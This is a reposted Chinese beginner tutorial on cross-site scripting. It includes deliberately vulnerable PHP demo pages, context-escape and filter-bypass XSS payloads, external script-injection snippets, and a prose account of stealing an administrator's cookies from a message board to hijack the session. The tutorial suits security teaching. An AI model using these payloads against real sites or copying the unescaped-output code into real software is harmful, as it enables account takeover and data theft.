收藏 分销(赏)

XSS得原理分析与解剖.doc

上传人:丰**** 文档编号:4375215 上传时间:2024-09-14 格式:DOC 页数:11 大小:426.50KB 下载积分:8 金币
下载 相关 举报
XSS得原理分析与解剖.doc_第1页
第1页 / 共11页
XSS得原理分析与解剖.doc_第2页
第2页 / 共11页


点击查看更多>>
资源描述
XSS得原理分析与解剖 2014-08-13 18:47 Black-Hole FreeBuf 字号:T | T xss就是一门又热门又不太受重视得Web攻击手法,为什么会这样呢,原因有下:耗时间、有一定几率不成功、没有相应得软件来完成自动化攻击、就是一种被动得攻击手法等。 AD: 0×01 前言: 《xss攻击手法》一开始在互联网上资料并不多(都就是现成得代码,没有从基础得开始),直到刺得《白帽子讲WEB安全》与cn4rry得《XSS跨站脚本攻击剖析与防御》才开始好转。 我这里就不说什么xss得历史什么东西了,xss就是一门又热门又不太受重视得Web攻击手法,为什么会这样呢,原因有下: 1、耗时间 2、有一定几率不成功 3、没有相应得软件来完成自动化攻击 4、前期需要基本得html、js功底,后期需要扎实得html、js、actionscript2/3、0等语言得功底 5、就是一种被动得攻击手法 6、对website有-only、crossdomian、xml没有用 但就是这些并没有影响黑客对此漏洞得偏爱,原因不需要多,只需要一个。 Xss几乎每个网站都存在,google、baidu、360等都存在。 0×02 原理: 首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index、php文件里写入如下代码: 1. <html>  2. <head>  3. <meta -equiv="Content-Type" content="text/html; charset=utf-8" />  4. <title>XSS原理重现</title>  5. </head>  6. <body>  7. <form action="" method="get">  8. <input type="text" name="xss_input">  9. <input type="submit">  10. </form>  11. <hr>  12. <?php  13. $xss = $_GET['xss_input'];   14. echo '您输入得字符为<br>'、$xss;   15. ?>  16. </body>  17. </html>  18.   然后,您会在页面瞧到这样得页面 我们试着输入abcd123,得到得结果为 我们在瞧瞧源代码 我们输入得字符串被原封不动得输出来了,那这里我们提出来一个假设,假设我们在搜索框输入下面得代码会出现什么呢? 1. <script>alert('xss')</script>  如果按照上面得例子来说,它应该存在第12行得[br]与[/boby]>之间,变成: 1. <br><script>alert('xss')</script></boby>  之后,应该会弹出对话框。 既然假设提出来,那我们来实现下这个假设成不成立吧。 我们输入 1. <script>alert('xss')</script>  得到得页面为 成功弹窗,这个时候基本上就可以确定存在xss漏洞。 我们在瞧瞧源代码 瞧来,我们得假设成功了,这节就说说XSS得原理,下面几节说说xss得构造与利用。 0×03 xss利用输出得环境来构造代码 : 上节说了xss得原理,但就是我们得输出点不一在[ br ]与[ /boby ]里,可以出现在html标签得属性里,或者其她标签里面。所以这节很重要,因为不一定 当您输入下面代码就会出现弹窗。  1. <script>alert('xss')</script>  先贴出代码: 1. <html>  2. <head>  3. <meta -equiv="Content-Type" content="text/html; charset=utf-8" />  4. <title>XSS利用输出得环境来构造代码</title>  5. </head>  6. <body>  7. <center>  8. <h6>把我们输入得字符串 输出到input里得value属性里</h6>  9. <form action="" method="get">  10. <h6>请输入您想显现得字符串</h6>  11. <input type="text" name="xss_input_value" value="输入"><br>  12. <input type="submit">  13. </form>  14. <hr>  15. <?php  16. $xss = $_GET['xss_input_value'];   17. if(isset($xss)){   18. echo '<input type="text" value="'、$xss、'">';   19. }else{   20. echo '<input type="type" value="输出">';   21. }   22. ?>  23. </center>  24. </body>  25. </html>  下面就是代码得页面 这段代码得作用就是把第一个输入框得字符串,输出到第二个输入框,我们输入1,那么第二个input里得value值就就是1,下面就是页面得截图与源代码得截图(这里我输入下面得代码来测试) 1. <script>alert('xss')</script>    明显得可以瞧到,并没有弹出对话框,大家可能会疑惑为什么没有弹窗呢,我们来瞧瞧源代码 我们瞧到我们输入得字符串被输出到第15行input标签里得value属性里面,被当成value里得值来显现出来,所以并没有弹窗,这时候我们该怎么办呢?聪明得人已经发现了可以在 1. <script>alert(&#039;xss&#039;)</script>  前面加个">来闭合input标签。所以应该得到得结果为 成功弹窗了,我们在瞧瞧这时得页面 瞧到后面有第二个input输入框后面跟有">字符串,为什么会这样呢,我们来瞧瞧源代码 这时可以瞧到我们构造得代码里面有两个">,第一个">就是为了闭合input标签,所以第二个">就被抛弃了,因为html得容 错性高,所以并没有像php那样出现错误,而就是直接把多余得字符串来输出了,有得人就是个完美主义者,不喜欢有多余得字符串被输出,这时该怎么办呢? 这里我问大家一个问题,我之前说得xss代码里,为什么全就是带有标签得。难道就不能不带标签么?!答:当然可以。既然可以不用标签,那我们就用标签里得属性来构造XSS,这样得话,xss代码又少,又不会有多余得字符串被输出来。 还就是这个环境,但就是不能使用标签,您应该怎么做。想想input里有什么属性可以调用js,html学得好得人,应该知道了,on事件,对得。我们可以用on事件来进行弹窗,比如这个xss代码 我们可以写成 1. " onclick="alert(&#039;xss&#039;)   这时,我们在来试试,页面会发生什么样得变化吧。 没有瞧到弹窗啊,失败了么?答案当然就是错误得,因为onclick就是鼠标点击事件,也就就是说当您得鼠标点击第二个input输入框得时候,就会触发onclick事件,然后执行alert(&#039;xss&#039;)代码。我们来试试瞧 当我点击后,就出现了弹窗,这时我们来瞧瞧源代码吧 第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不就是很麻烦么,成功率不就又下降了么。 我来帮您解答这个问题,on事件不止onclick这一个,还有很多,如果您想不需要用户完成什么动作就可以触发得话,i可以把onclick改成 Onmousemove 当鼠标移动就触发 Onload 当页面加载完成后触发 还有很多,我这里就不一一说明了,有兴趣得朋友可以自行查询下。 别以为就这样结束了,还有一类环境不能用上述得方法, 那就就是如果在[ textarea ]标签里呢?!或者其她优先级比script高得呢? 就下面这样 这时我们该怎么办呢?既然前面都说了闭合属性与闭合标签了,那能不能闭合完整得标签呢,答案就是肯定得。我们可以输入下面得代码就可以实现弹窗了。 1. </textarea><script>alert('xss')</script>  0×04 过滤得解决办法 假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,这就是我总结出来得“xss就就是在页面执行您想要得js”不用管那么多,只要能运行我们得js就OK,比如用img标签或者a标签。我们可以这样写 1. <img scr=1 onerror=alert('xss')>当找不到图片名为1得文件时,执行alert('xss')   2. <a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')   3. <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe得scr来弹窗   4. <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗    等等有很多得方法,不要把思想总局限于一种上面,记住一句话“xss就就是在页面执行您想要得js”其她得管她去。(当然有得时候还有管她…) 0×05 xss得利用 说了那么多,大家可能都以为xss就就是弹窗,其实错了,弹窗只就是测试xss得存在性与使用性。 这时我们要插入js代码了,怎么插呢? 您可以这样 1. <script scr="js_url"></script>  也可以这样 1. <img src=x onerror=appendChild(createElement('script'))、src='js_url' />  各种姿势,各种插,只要鞥运行我们得js就OK。那运行我们得js有什么用呢? Js可以干很多得事,可以获取cookies(对-only没用)、控制用户得动作(发帖、私信什么得)等等。 比如我们在网站得留言区输入下面得代码: 1. <script scr="js_url"></script>  当管理员进后台浏览留言得时候,就会触发,然后管理员得cookies与后台地址还有管理员浏览器版本等等您都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改您得cookies,就可以不用输入账号 密码 验证码 就可以以管理员得方式来进行登录了。 至于不会js得怎么写js代码呢,放心网上有很多xss平台,百度一下就可以瞧到了。页面就是傻瓜式得操作,这里就不再过多得说明了。 有兴趣得朋友,下面就是cn4rry给我得几个xss平台,大家可以自己钻研与研究,也可以自己搭建 在发布此文章得时候,我特地与cn4rry谈了一下,得到得结果就是,我会继续写这个系列得。当我把这个doc发给cn4rry得时候,她就直接来句 “嗯 写得比较基础”,我本来得打算就是写一个xss入门得就可以了,我只就是感觉 现在网上得文章从简单开始介绍xss得比较少,都就是在书里有 所以 我想在网上把她讲得细点 xss入门就可以了,后面得路 就可以自己摸索了 但就是与她谈过后,感觉还就是要继续写下去,因为“xss盲打”“xss编码绕过”“fuzzing xss”等等,如果就是自己慢慢琢磨得话,需要较长得时间,所以我打算每过一段时间就会推出下一个xss得文章,写个系列出来。
展开阅读全文

开通  VIP会员、SVIP会员  优惠大
下载10份以上建议开通VIP会员
下载20份以上建议开通SVIP会员


开通VIP      成为共赢上传

当前位置:首页 > 行业资料 > 医学/心理学

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        抽奖活动

©2010-2025 宁波自信网络信息技术有限公司  版权所有

客服电话:0574-28810668  投诉电话:18658249818

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :微信公众号    抖音    微博    LOFTER 

客服